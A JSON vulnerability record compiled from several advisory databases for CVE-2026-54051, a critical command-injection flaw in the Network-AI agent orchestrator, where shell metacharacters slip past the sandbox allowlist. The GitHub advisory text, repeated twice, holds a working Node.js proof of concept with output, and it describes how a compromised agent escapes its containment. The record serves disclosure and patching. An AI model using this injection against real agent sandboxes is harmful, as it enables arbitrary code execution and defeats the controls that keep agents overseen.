{"id":"CVE-2026-54051","aliases":["EUVD-2026-46003","GHSA-qw6v-5fcf-5666"],"status":"published","title":"Network-AI has an an OS Command Injection issue","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","severity":{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00468,"percentile":0.40965,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2026-06-19T13:35:05Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"npm","package":"network-ai","fixed_in":["5.9.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"network-ai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.9.1"}]}]},{"source":"osv","ecosystem":"npm","package":"network-ai","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.9.1"}]}]}],"products":[{"vendor":"jovancoding","product":"network-ai"}],"references":[{"url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Jovancoding/Network-AI/commit/379f77656b578144e03415c5b134d8309a4b5792","tags":["x_refsource_MISC","fix"]},{"url":"https://github.com/advisories/GHSA-qw6v-5fcf-5666"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54051.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54051","tags":["advisory"]},{"url":"https://github.com/Jovancoding/Network-AI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-54051","title":"Network-AI has an an OS Command Injection issue","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","status":"published","published":"2026-07-20T16:24:20.791Z","modified":"2026-07-21T16:03:01.029Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T13:38:20.971157Z"}],"euvd":[{"id":"EUVD-2026-46003","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","status":"published","published":"2026-07-20T16:24:20Z","modified":"2026-07-21T16:03:01Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:19:46.900828Z"}],"ghsa":[{"id":"GHSA-qw6v-5fcf-5666","title":"Network-AI: Improper Neutralization of Special Elements used in an OS Command ","description":"## Summary\n\nThe agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution.\n\n## Root cause\n\nMatching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag).\n\n1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260\n\n2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360\n\n3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391\n\n4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431\n\n## Reachability\n\nAny agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration.\n\n## PoC\n\nInstalls `network-ai@5.8.5`, allows `git *`, then runs `git status; id \u003e marker`.\nThe allowlist accepts it and the injected `id` runs.\n\nRun: `npm i network-ai@5.8.5 \u0026\u0026 node poc-316.js`\n\n```js\n'use strict';\nconst os = require('os');\nconst fs = require('fs');\nconst path = require('path');\nconst { SandboxPolicy, ShellExecutor } = require('network-ai');\n\n(async () =\u003e {\n  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));\n  const marker = path.join(base, 'PWNED-316.txt');\n  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });\n  const sh = new ShellExecutor(policy);\n\n  const payload = `git status; id \u003e ${marker}; echo INJECTED`;\n  console.log('version:', require('network-ai/package.json').version);\n  console.log('allowed:', policy.isCommandAllowed(payload));\n\n  await sh.execute(payload);\n  const ran = fs.existsSync(marker);\n  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');\n  console.log(ran ? 'VULNERABLE' : 'not reproduced');\n  process.exit(ran ? 0 : 1);\n})().catch(err =\u003e { console.error(err); process.exit(3); });\n```\n\nOutput:\n\n```\nversion: 5.8.5\nallowed: true\ninjected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...\nVULNERABLE\n```\n\n## Impact\n\nArbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters.\n\n## Possible fix\n\nDo not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug.\n\n\n## Patch\n\nFixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data.\n\n**Remediation:** upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","status":"published","published":"2026-06-19T13:35:05Z","modified":"2026-06-19T13:35:06Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:40:30.53004Z"}],"nvd":[{"id":"CVE-2026-54051","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","status":"published","published":"2026-07-20T17:17:57.643Z","modified":"2026-10-24T20:10:00.137Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:12:31.024898Z"}],"osv":[{"id":"CVE-2026-54051","title":"Network-AI has an an OS Command Injection issue","description":"Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.9.1, the agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution. The issue is fixed in v5.9.1. `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data. Users should upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","status":"published","published":"2026-07-20T16:24:20.791Z","modified":"2026-10-28T02:31:12.581238824Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:45:08.132336Z"},{"id":"GHSA-qw6v-5fcf-5666","title":"Network-AI: Improper Neutralization of Special Elements used in an OS Command ","description":"## Summary\n\nThe agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; \u003canything\u003e`, and a scoped command becomes arbitrary execution.\n\n## Root cause\n\nMatching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag).\n\n1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260\n\n2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360\n\n3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391\n\n4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431\n\n## Reachability\n\nAny agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration.\n\n## PoC\n\nInstalls `network-ai@5.8.5`, allows `git *`, then runs `git status; id \u003e marker`.\nThe allowlist accepts it and the injected `id` runs.\n\nRun: `npm i network-ai@5.8.5 \u0026\u0026 node poc-316.js`\n\n```js\n'use strict';\nconst os = require('os');\nconst fs = require('fs');\nconst path = require('path');\nconst { SandboxPolicy, ShellExecutor } = require('network-ai');\n\n(async () =\u003e {\n  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));\n  const marker = path.join(base, 'PWNED-316.txt');\n  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });\n  const sh = new ShellExecutor(policy);\n\n  const payload = `git status; id \u003e ${marker}; echo INJECTED`;\n  console.log('version:', require('network-ai/package.json').version);\n  console.log('allowed:', policy.isCommandAllowed(payload));\n\n  await sh.execute(payload);\n  const ran = fs.existsSync(marker);\n  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');\n  console.log(ran ? 'VULNERABLE' : 'not reproduced');\n  process.exit(ran ? 0 : 1);\n})().catch(err =\u003e { console.error(err); process.exit(3); });\n```\n\nOutput:\n\n```\nversion: 5.8.5\nallowed: true\ninjected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...\nVULNERABLE\n```\n\n## Impact\n\nArbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters.\n\n## Possible fix\n\nDo not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug.\n\n\n## Patch\n\nFixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; \u0026 | $ ` ` ` ( ) \u003c \u003e { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data.\n\n**Remediation:** upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","status":"published","published":"2026-06-19T13:35:05Z","modified":"2026-06-19T13:56:29.308679Z","cvss":[{"version":"3.1","score":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:55.122811Z"}]}}